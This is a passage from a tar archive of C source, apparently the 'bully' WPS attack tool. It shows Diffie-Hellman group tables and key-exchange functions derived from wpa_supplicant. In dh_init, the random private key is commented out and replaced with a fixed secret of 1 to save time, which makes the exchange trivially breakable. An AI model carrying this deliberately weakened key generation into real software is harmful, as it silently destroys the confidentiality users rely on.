0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D,
0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33,
0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64,
0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A,
0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D,
0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7,
0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7,
0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D,
0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B,
0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64,
0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64,
0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C,
0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C,
0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2,
0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31,
0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E,
0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01,
0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7,
0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26,
0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C,
0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA,
0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8,
0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9,
0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6,
0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D,
0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2,
0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED,
0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF,
0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C,
0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9,
0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1,
0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F,
0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x06, 0x31, 0x99,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
/* RFC 3526, 6. Group 17 - 6144 Bit MODP
* Generator: 2
* Prime: 2^6144 - 2^6080 - 1 + 2^64 * { [2^6014 pi] + 929484 }
*/
static const u8 dh_group17_generator[1] = { 0x02 };
static const u8 dh_group17_prime[768] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D,
0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33,
0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64,
0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A,
0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D,
0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7,
0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7,
0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D,
0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B,
0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64,
0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64,
0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C,
0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C,
0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2,
0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31,
0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E,
0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01,
0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7,
0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26,
0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C,
0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA,
0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8,
0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9,
0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6,
0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D,
0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2,
0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED,
0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF,
0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C,
0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9,
0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1,
0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F,
0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92,
0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26,
0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE,
0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD,
0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E,
0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE,
0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31,
0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18,
0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED,
0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B,
0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B,
0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42,
0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF,
0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC,
0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03,
0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6,
0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82,
0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E,
0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3,
0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE,
0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5,
0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA,
0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8,
0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0,
0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28,
0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76,
0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0,
0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C,
0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32,
0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68,
0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE,
0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6,
0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xCC, 0x40, 0x24,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
/* RFC 3526, 7. Group 18 - 8192 Bit MODP
* Generator: 2
* Prime: 2^8192 - 2^8128 - 1 + 2^64 * { [2^8062 pi] + 4743158 }
*/
static const u8 dh_group18_generator[1] = { 0x02 };
static const u8 dh_group18_prime[1024] = {
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C,
0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B,
0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03,
0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F,
0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9,
0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18,
0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5,
0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10,
0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D,
0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33,
0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64,
0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A,
0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D,
0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7,
0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7,
0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D,
0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B,
0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64,
0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64,
0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C,
0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C,
0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2,
0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31,
0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E,
0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x21, 0x08, 0x01,
0x1A, 0x72, 0x3C, 0x12, 0xA7, 0x87, 0xE6, 0xD7,
0x88, 0x71, 0x9A, 0x10, 0xBD, 0xBA, 0x5B, 0x26,
0x99, 0xC3, 0x27, 0x18, 0x6A, 0xF4, 0xE2, 0x3C,
0x1A, 0x94, 0x68, 0x34, 0xB6, 0x15, 0x0B, 0xDA,
0x25, 0x83, 0xE9, 0xCA, 0x2A, 0xD4, 0x4C, 0xE8,
0xDB, 0xBB, 0xC2, 0xDB, 0x04, 0xDE, 0x8E, 0xF9,
0x2E, 0x8E, 0xFC, 0x14, 0x1F, 0xBE, 0xCA, 0xA6,
0x28, 0x7C, 0x59, 0x47, 0x4E, 0x6B, 0xC0, 0x5D,
0x99, 0xB2, 0x96, 0x4F, 0xA0, 0x90, 0xC3, 0xA2,
0x23, 0x3B, 0xA1, 0x86, 0x51, 0x5B, 0xE7, 0xED,
0x1F, 0x61, 0x29, 0x70, 0xCE, 0xE2, 0xD7, 0xAF,
0xB8, 0x1B, 0xDD, 0x76, 0x21, 0x70, 0x48, 0x1C,
0xD0, 0x06, 0x91, 0x27, 0xD5, 0xB0, 0x5A, 0xA9,
0x93, 0xB4, 0xEA, 0x98, 0x8D, 0x8F, 0xDD, 0xC1,
0x86, 0xFF, 0xB7, 0xDC, 0x90, 0xA6, 0xC0, 0x8F,
0x4D, 0xF4, 0x35, 0xC9, 0x34, 0x02, 0x84, 0x92,
0x36, 0xC3, 0xFA, 0xB4, 0xD2, 0x7C, 0x70, 0x26,
0xC1, 0xD4, 0xDC, 0xB2, 0x60, 0x26, 0x46, 0xDE,
0xC9, 0x75, 0x1E, 0x76, 0x3D, 0xBA, 0x37, 0xBD,
0xF8, 0xFF, 0x94, 0x06, 0xAD, 0x9E, 0x53, 0x0E,
0xE5, 0xDB, 0x38, 0x2F, 0x41, 0x30, 0x01, 0xAE,
0xB0, 0x6A, 0x53, 0xED, 0x90, 0x27, 0xD8, 0x31,
0x17, 0x97, 0x27, 0xB0, 0x86, 0x5A, 0x89, 0x18,
0xDA, 0x3E, 0xDB, 0xEB, 0xCF, 0x9B, 0x14, 0xED,
0x44, 0xCE, 0x6C, 0xBA, 0xCE, 0xD4, 0xBB, 0x1B,
0xDB, 0x7F, 0x14, 0x47, 0xE6, 0xCC, 0x25, 0x4B,
0x33, 0x20, 0x51, 0x51, 0x2B, 0xD7, 0xAF, 0x42,
0x6F, 0xB8, 0xF4, 0x01, 0x37, 0x8C, 0xD2, 0xBF,
0x59, 0x83, 0xCA, 0x01, 0xC6, 0x4B, 0x92, 0xEC,
0xF0, 0x32, 0xEA, 0x15, 0xD1, 0x72, 0x1D, 0x03,
0xF4, 0x82, 0xD7, 0xCE, 0x6E, 0x74, 0xFE, 0xF6,
0xD5, 0x5E, 0x70, 0x2F, 0x46, 0x98, 0x0C, 0x82,
0xB5, 0xA8, 0x40, 0x31, 0x90, 0x0B, 0x1C, 0x9E,
0x59, 0xE7, 0xC9, 0x7F, 0xBE, 0xC7, 0xE8, 0xF3,
0x23, 0xA9, 0x7A, 0x7E, 0x36, 0xCC, 0x88, 0xBE,
0x0F, 0x1D, 0x45, 0xB7, 0xFF, 0x58, 0x5A, 0xC5,
0x4B, 0xD4, 0x07, 0xB2, 0x2B, 0x41, 0x54, 0xAA,
0xCC, 0x8F, 0x6D, 0x7E, 0xBF, 0x48, 0xE1, 0xD8,
0x14, 0xCC, 0x5E, 0xD2, 0x0F, 0x80, 0x37, 0xE0,
0xA7, 0x97, 0x15, 0xEE, 0xF2, 0x9B, 0xE3, 0x28,
0x06, 0xA1, 0xD5, 0x8B, 0xB7, 0xC5, 0xDA, 0x76,
0xF5, 0x50, 0xAA, 0x3D, 0x8A, 0x1F, 0xBF, 0xF0,
0xEB, 0x19, 0xCC, 0xB1, 0xA3, 0x13, 0xD5, 0x5C,
0xDA, 0x56, 0xC9, 0xEC, 0x2E, 0xF2, 0x96, 0x32,
0x38, 0x7F, 0xE8, 0xD7, 0x6E, 0x3C, 0x04, 0x68,
0x04, 0x3E, 0x8F, 0x66, 0x3F, 0x48, 0x60, 0xEE,
0x12, 0xBF, 0x2D, 0x5B, 0x0B, 0x74, 0x74, 0xD6,
0xE6, 0x94, 0xF9, 0x1E, 0x6D, 0xBE, 0x11, 0x59,
0x74, 0xA3, 0x92, 0x6F, 0x12, 0xFE, 0xE5, 0xE4,
0x38, 0x77, 0x7C, 0xB6, 0xA9, 0x32, 0xDF, 0x8C,
0xD8, 0xBE, 0xC4, 0xD0, 0x73, 0xB9, 0x31, 0xBA,
0x3B, 0xC8, 0x32, 0xB6, 0x8D, 0x9D, 0xD3, 0x00,
0x74, 0x1F, 0xA7, 0xBF, 0x8A, 0xFC, 0x47, 0xED,
0x25, 0x76, 0xF6, 0x93, 0x6B, 0xA4, 0x24, 0x66,
0x3A, 0xAB, 0x63, 0x9C, 0x5A, 0xE4, 0xF5, 0x68,
0x34, 0x23, 0xB4, 0x74, 0x2B, 0xF1, 0xC9, 0x78,
0x23, 0x8F, 0x16, 0xCB, 0xE3, 0x9D, 0x65, 0x2D,
0xE3, 0xFD, 0xB8, 0xBE, 0xFC, 0x84, 0x8A, 0xD9,
0x22, 0x22, 0x2E, 0x04, 0xA4, 0x03, 0x7C, 0x07,
0x13, 0xEB, 0x57, 0xA8, 0x1A, 0x23, 0xF0, 0xC7,
0x34, 0x73, 0xFC, 0x64, 0x6C, 0xEA, 0x30, 0x6B,
0x4B, 0xCB, 0xC8, 0x86, 0x2F, 0x83, 0x85, 0xDD,
0xFA, 0x9D, 0x4B, 0x7F, 0xA2, 0xC0, 0x87, 0xE8,
0x79, 0x68, 0x33, 0x03, 0xED, 0x5B, 0xDD, 0x3A,
0x06, 0x2B, 0x3C, 0xF5, 0xB3, 0xA2, 0x78, 0xA6,
0x6D, 0x2A, 0x13, 0xF8, 0x3F, 0x44, 0xF8, 0x2D,
0xDF, 0x31, 0x0E, 0xE0, 0x74, 0xAB, 0x6A, 0x36,
0x45, 0x97, 0xE8, 0x99, 0xA0, 0x25, 0x5D, 0xC1,
0x64, 0xF3, 0x1C, 0xC5, 0x08, 0x46, 0x85, 0x1D,
0xF9, 0xAB, 0x48, 0x19, 0x5D, 0xED, 0x7E, 0xA1,
0xB1, 0xD5, 0x10, 0xBD, 0x7E, 0xE7, 0x4D, 0x73,
0xFA, 0xF3, 0x6B, 0xC3, 0x1E, 0xCF, 0xA2, 0x68,
0x35, 0x90, 0x46, 0xF4, 0xEB, 0x87, 0x9F, 0x92,
0x40, 0x09, 0x43, 0x8B, 0x48, 0x1C, 0x6C, 0xD7,
0x88, 0x9A, 0x00, 0x2E, 0xD5, 0xEE, 0x38, 0x2B,
0xC9, 0x19, 0x0D, 0xA6, 0xFC, 0x02, 0x6E, 0x47,
0x95, 0x58, 0xE4, 0x47, 0x56, 0x77, 0xE9, 0xAA,
0x9E, 0x30, 0x50, 0xE2, 0x76, 0x56, 0x94, 0xDF,
0xC8, 0x1F, 0x56, 0xE8, 0x80, 0xB9, 0x6E, 0x71,
0x60, 0xC9, 0x80, 0xDD, 0x98, 0xED, 0xD3, 0xDF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};
#endif /* ALL_DH_GROUPS */
#define DH_GROUP(id) \
{ id, dh_group ## id ## _generator, sizeof(dh_group ## id ## _generator), \
dh_group ## id ## _prime, sizeof(dh_group ## id ## _prime) }
static struct dh_group dh_groups[] = {
DH_GROUP(5),
#ifdef ALL_DH_GROUPS
DH_GROUP(1),
DH_GROUP(2),
DH_GROUP(14),
DH_GROUP(15),
DH_GROUP(16),
DH_GROUP(17),
DH_GROUP(18)
#endif /* ALL_DH_GROUPS */
};
#define NUM_DH_GROUPS (sizeof(dh_groups) / sizeof(dh_groups[0]))
const struct dh_group * dh_groups_get(int id)
{
size_t i;
for (i = 0; i < NUM_DH_GROUPS; i++) {
if (dh_groups[i].id == id)
return &dh_groups[i];
}
return NULL;
}
/**
* dh_init - Initialize Diffie-Hellman handshake
* @dh: Selected Diffie-Hellman group
* @priv: Pointer for returning Diffie-Hellman private key
* Returns: Diffie-Hellman public value
*/
struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv)
{
struct wpabuf *pv;
size_t pv_len;
if (dh == NULL)
return NULL;
wpabuf_free(*priv);
*priv = wpabuf_alloc(dh->prime_len);
if (*priv == NULL)
return NULL;
/* Use small DH secret (1) to reduce calculation time on AP */
if (!memset(wpabuf_put(*priv, 1), 1, 1)) {
// if (os_get_random(wpabuf_put(*priv, dh->prime_len), dh->prime_len)) {
wpabuf_free(*priv);
*priv = NULL;
return NULL;
}
if (os_memcmp(wpabuf_head(*priv), dh->prime, dh->prime_len) > 0) {
/* Make sure private value is smaller than prime */
*(wpabuf_mhead_u8(*priv)) = 0;
}
wpa_hexdump_buf_key(MSG_DEBUG, "DH: private value", *priv);
pv_len = dh->prime_len;
pv = wpabuf_alloc(pv_len);
if (pv == NULL)
return NULL;
if (crypto_mod_exp(dh->generator, dh->generator_len,
wpabuf_head(*priv), wpabuf_len(*priv),
dh->prime, dh->prime_len, wpabuf_mhead(pv),
&pv_len) < 0) {
wpabuf_free(pv);
wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed");
return NULL;
}
wpabuf_put(pv, pv_len);
wpa_hexdump_buf(MSG_DEBUG, "DH: public value", pv);
return pv;
}
/**
* dh_derive_shared - Derive shared Diffie-Hellman key
* @peer_public: Diffie-Hellman public value from peer
* @own_private: Diffie-Hellman private key from dh_init()
* @dh: Selected Diffie-Hellman group
* Returns: Diffie-Hellman shared key
*/
struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public,
const struct wpabuf *own_private,
const struct dh_group *dh)
{
struct wpabuf *shared;
size_t shared_len;
if (dh == NULL || peer_public == NULL || own_private == NULL)
return NULL;
shared_len = dh->prime_len;
shared = wpabuf_alloc(shared_len);
if (shared == NULL)
return NULL;
if (crypto_mod_exp(wpabuf_head(peer_public), wpabuf_len(peer_public),
wpabuf_head(own_private), wpabuf_len(own_private),
dh->prime, dh->prime_len,
wpabuf_mhead(shared), &shared_len) < 0) {
wpabuf_free(shared);
wpa_printf(MSG_INFO, "DH: crypto_mod_exp failed");
return NULL;
}
wpabuf_put(shared, shared_len);
wpa_hexdump_buf_key(MSG_DEBUG, "DH: shared key", shared);
return shared;
}
bully-1.4-00/src/crypto/dh_groups.h 0000775 0000000 0000000 00000001516 13615304636 0017211 0 ustar 00root root 0000000 0000000 /*
* Diffie-Hellman groups
* Copyright (c) 2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef DH_GROUPS_H
#define DH_GROUPS_H
struct dh_group {
int id;
const u8 *generator;
size_t generator_len;
const u8 *prime;
size_t prime_len;
};
const struct dh_group * dh_groups_get(int id);
struct wpabuf * dh_init(const struct dh_group *dh, struct wpabuf **priv);
struct wpabuf * dh_derive_shared(const struct wpabuf *peer_public,
const struct wpabuf *own_private,
const struct dh_group *dh);
#endif /* DH_GROUPS_H */
bully-1.4-00/src/crypto/fips_prf_cryptoapi.c 0000775 0000000 0000000 00000001152 13615304636 0021110 0 ustar 00root root 0000000 0000000 /*
* FIPS 186-2 PRF for Microsoft CryptoAPI
* Copyright (c) 2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto.h"
int fips186_2_prf(const u8 *seed, size_t seed_len, u8 *x, size_t xlen)
{
/* FIX: how to do this with CryptoAPI? */
return -1;
}
bully-1.4-00/src/crypto/fips_prf_gnutls.c 0000775 0000000 0000000 00000001171 13615304636 0020413 0 ustar 00root root 0000000 0000000 /*
* FIPS 186-2 PRF for libgcrypt
* Copyright (c) 2004-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
